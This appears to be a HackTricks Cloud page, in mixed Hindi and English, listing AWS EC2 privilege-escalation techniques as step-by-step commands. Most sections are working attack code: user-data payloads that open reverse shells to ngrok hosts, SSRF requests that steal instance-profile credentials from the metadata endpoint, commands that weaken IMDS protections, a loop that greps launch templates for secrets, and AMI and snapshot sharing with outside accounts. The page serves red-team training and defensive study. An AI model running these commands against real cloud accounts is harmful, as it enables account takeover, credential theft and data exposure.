AWS - EC2 Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।

EC2

अधिक EC2 के बारे में जानकारी के लिए देखें:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

एक attacker एक instance बना कर उसमे IAM role attach कर सकता है और फिर उसमें पहुँच कर metadata endpoint से IAM role credentials चुरा सकता है।

• Access via SSH

नया instance चलाएँ एक बनाया हुआ ssh key (--key-name) का उपयोग करके और फिर उसमें ssh करें (यदि आप नया बनाना चाहते हैं तो आपको ec2:CreateKeyPair permission की आवश्यकता हो सकती है)।

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>

• rev shell के जरिए user data में पहुँच

आप एक नया instance चला सकते हैं जो user data (--user-data) का उपयोग करके आपको एक rev shell भेजेगा। इस तरह आपको security group निर्दिष्ट करने की आवश्यकता नहीं है।

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

यदि आप किसी instance के बाहर IAM role के credentials का उपयोग करते हैं तो GuradDuty के साथ सावधान रहें:

AWS - GuardDuty Enum

संभावित प्रभाव: किसी भी EC2 role पर सीधा privesc जो मौजूदा instance profiles से जुड़ा हो।

ECS पर Privesc

इन permissions के साथ आप एक EC2 instance बनाकर उसे एक ECS cluster के अंदर register भी कर सकते हैं। इस तरह, ECS की services उस EC2 instance के अंदर run होंगी जहाँ आपकी पहुँच होगी और फिर आप उन services (docker containers) में प्रवेश कर सकते हैं और उनके साथ जुड़े ECS roles को चुरा सकते हैं।

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

To learn how to force ECS services to be run in this new EC2 instance check:

AWS - ECS Privesc

If you cannot create a new instance but has the permission ecs:RegisterContainerInstance you might be able to register the instance inside the cluster and perform the commented attack.

Potential Impact: सीधा privesc उन ECS roles तक जो tasks से जुड़ी हुई हैं।

iam:PassRole, iam:AddRoleToInstanceProfile

पिछले परिदृश्य की तरह, इन permissions वाले एक attacker compromised instance का IAM role बदल सकता है ताकि वह नए credentials चुरा सके.
क्योंकि एक instance profile में केवल 1 role हो सकता है, अगर instance profile पहले से ही एक role (आम स्थिति) रखता है, तो आपको iam:RemoveRoleFromInstanceProfile की भी आवश्यकता होगी।

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

यदि instance profile has a role और attacker cannot remove it, तो एक और workaround मौजूद है।
वह find कर सकता है एक instance profile without a role या create a new one (iam:CreateInstanceProfile), उस instance profile में role add कर सकता है (जैसा पहले बताया गया था), और associate the instance profile compromised to a compromised instance:

• यदि instance doesn’t have any instance profile (ec2:AssociateIamInstanceProfile)

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potential Impact: अलग EC2 role पर direct privesc (इसके लिए आपको पहले से एक compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile स्थिति की आवश्यकता होगी)।

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

इन permissions के साथ यह संभव है कि किसी instance से जुड़ा instance profile बदल दिया जाए, इसलिए यदि attacker के पास पहले से किसी instance तक access है तो वह उससे जुड़ा instance profile बदलकर और अधिक instance profile roles के credentials चुरा सकेगा।

• अगर इसमें instance profile है, तो आप instance profile को हटा सकते हैं (ec2:DisassociateIamInstanceProfile) और इसे associate कर सकते हैं

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

• या बदलें compromised instance का instance profile (ec2:ReplaceIamInstanceProfileAssociation).

aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Potential Impact: Direct privesc to a different EC2 role (आपके पास पहले से compromised AWS EC2 instance होना चाहिए और कुछ अतिरिक्त permission या specific instance profile status होना चाहिए)।

ec2:RequestSpotInstances,iam:PassRole

ऐसा attacker जिसके पास permissions ec2:RequestSpotInstancesandiam:PassRole हों, वह request कर सकता है एक Spot Instance जिसमें EC2 Role attached हो और user data में एक rev shell हो।
एक बार instance चलने पर, वह IAM role चुरा सकता है।

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

An attacker जिसके पास ec2:ModifyInstanceAttribute है, वह instance के attributes बदल सकता है। इनमें वह change the user data कर सकता है, जिसका मतलब है कि वह instance को run arbitrary data. करने के लिए प्रेरित कर सकता है, और इससे rev shell to the EC2 instance प्राप्त किया जा सकता है।

ध्यान दें कि attributes केवल तब modified while the instance is stopped किए जा सकते हैं, इसलिए आवश्यक permissions ec2:StopInstances और ec2:StartInstances हैं।

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

संभावित प्रभाव: किसी बनाए गए instance से जुड़े किसी भी EC2 IAM Role पर सीधे privesc।

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

एक हमलावर जिनके पास ये अनुमतियाँ हों ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate एक new Launch Template version बना सकता है जिसमें rev shell in the user data और any EC2 IAM Role on it सेट कर सकता है, default version बदल सकता है, और any Autoscaler group using that Launch Template जो configured है to use the latest or the default version वह उस template का उपयोग करके re-run the instances करेगा और rev shell execute होगा।

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

संभावित प्रभाव: किसी अन्य EC2 role पर सीधे privesc।

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

ऐसा attacker जिसके पास अनुमतियाँ autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole हों, वह create a Launch Configuration बना सकता है जिसमें एक IAM Role और एक rev shell user data के अंदर हो, फिर वह उस config से एक create an autoscaling group बनाएगा और rev shell के steal the IAM Role करने का इंतज़ार करेगा।

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

संभावित प्रभाव: किसी अलग EC2 role में सीधे privesc.

!autoscaling

परमिशनों का सेट ec2:CreateLaunchTemplate और autoscaling:CreateAutoScalingGroup एक IAM role तक privileges escalate करने के लिए पर्याप्त नहीं है क्योंकि Launch Configuration या Launch Template में निर्दिष्ट role को attach करने के लिए आपको permissions iam:PassRoleand ec2:RunInstances की आवश्यकता होती है (जो कि एक ज्ञात privesc है)।

ec2-instance-connect:SendSSHPublicKey

जिसके पास permission ec2-instance-connect:SendSSHPublicKey है, वह किसी user में एक ssh key जोड़ सकता है और इसका उपयोग (यदि उसके पास instance का ssh access है) उसे access करने या privileges escalate करने के लिए कर सकता है।

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

संभावित प्रभाव: Direct privesc to the EC2 IAM roles attached to running instances.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

एक हमलावर जिसके पास अनुमति ec2-instance-connect:SendSerialConsoleSSHPublicKey हो, वह एक ssh key को serial connection में जोड़ सकता है। यदि serial सक्षम नहीं है, तो हमलावर को अनुमति ec2:EnableSerialConsoleAccess को सक्षम करने के लिए चाहिए।

serial port से कनेक्ट करने के लिए आपको मशीन के अंदर किसी user का username और password भी जानना आवश्यक है।

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

यह तरीका privesc के लिए उतना उपयोगी नहीं है क्योंकि इसे exploit करने के लिए आपको एक username और password पता होना चाहिए।

Potential Impact: (Highly unprovable) EC2 IAM roles जो running instances से जुड़े हैं, उन तक सीधा privesc।

describe-launch-templates,describe-launch-template-versions

चूँकि launch templates में versioning होता है, एक attacker जिसके पास ec2:describe-launch-templates और ec2:describe-launch-template-versions permissions हों, वे इन्हें exploit करके संवेदनशील जानकारी, जैसे user data में मौजूद credentials, खोज सकते हैं। यह करने के लिए, निम्नलिखित script उपलब्ध launch templates के सभी versions के माध्यम से loop करता है:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

इन ऊपर के कमांड्स में, हालांकि हम कुछ पैटर्न्स निर्दिष्ट कर रहे हैं (aws_|password|token|api), आप अन्य प्रकार की संवेदनशील जानकारी खोजने के लिए एक अलग regex उपयोग कर सकते हैं।

मान लीजिए हमें aws_access_key_id और aws_secret_access_key मिल जाते हैं, तो हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकृत करने के लिए कर सकते हैं।

Potential Impact: Direct privilege escalation to IAM user(s).

संदर्भ

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

ec2:ModifyInstanceMetadataOptions (IMDS downgrade to enable SSRF credential theft)

यदि किसी हमलावर के पास victim EC2 instance पर ec2:ModifyInstanceMetadataOptions कॉल करने की क्षमता है, तो वह IMDS सुरक्षा को कमजोर कर सकता है — IMDSv1 सक्षम करके (HttpTokens=optional) और HttpPutResponseHopLimit बढ़ाकर। इससे instance metadata endpoint उन applications से आम SSRF/proxy रास्तों के माध्यम से पहुंच योग्य बन जाता है जो instance पर चल रही हैं। यदि हमलावर ऐसे किसी ऐप में SSRF ट्रिगर कर सके, तो वे instance profile credentials निकाल सकते हैं और उनका उपयोग करके pivot कर सकते हैं।

• आवश्यक अनुमतियाँ: ec2:ModifyInstanceMetadataOptions लक्षित instance पर (साथ ही host पर SSRF पहुँचाने/trigger करने की क्षमता)।
• लक्षित संसाधन: चालू EC2 instance जिस पर attached instance profile (IAM role) हो।

कमांड्स का उदाहरण:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

संभावित प्रभाव: SSRF के माध्यम से instance profile credentials की चोरी, जिससे privilege escalation और lateral movement EC2 role permissions के साथ संभव हो सकते हैं।

ec2:ModifyInstanceMetadataOptions

एक अटैकर जिसके पास ec2:ModifyInstanceMetadataOptions permission है, वह Instance Metadata Service (IMDS) की सुरक्षा कमज़ोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens को अनिवार्य नहीं बनाकर) या HttpPutResponseHopLimit बढ़ाकर — इस तरह अस्थायी credentials के exfiltration को आसान बना देता है। सबसे प्रासंगिक जोखिम वैक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने से, 169.254.169.254 endpoint VM के network namespace तक कड़ाई से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँचा जा सकता है, जिससे credential चोरी संभव होती है।

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute अनुमतियाँ वाले एक हमलावर AMIs या snapshots को अन्य AWS खातों के साथ साझा कर सकता है (या उन्हें सार्वजनिक भी कर सकता है), जिससे ऐसी images या volumes उजागर हो सकती हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं।

एक AMI की launch permissions या किसी snapshot की create-volume permissions को बदलकर, हमलावर तीसरे पक्षों को उन संसाधनों से instances लॉन्च करने या डिस्क माउंट करने और उनके कंटेंट तक पहुँचने की अनुमति देता है।

एक AMI को दूसरे खाते के साथ साझा करने के लिए:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS snapshot को किसी अन्य account के साथ साझा करने के लिए:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।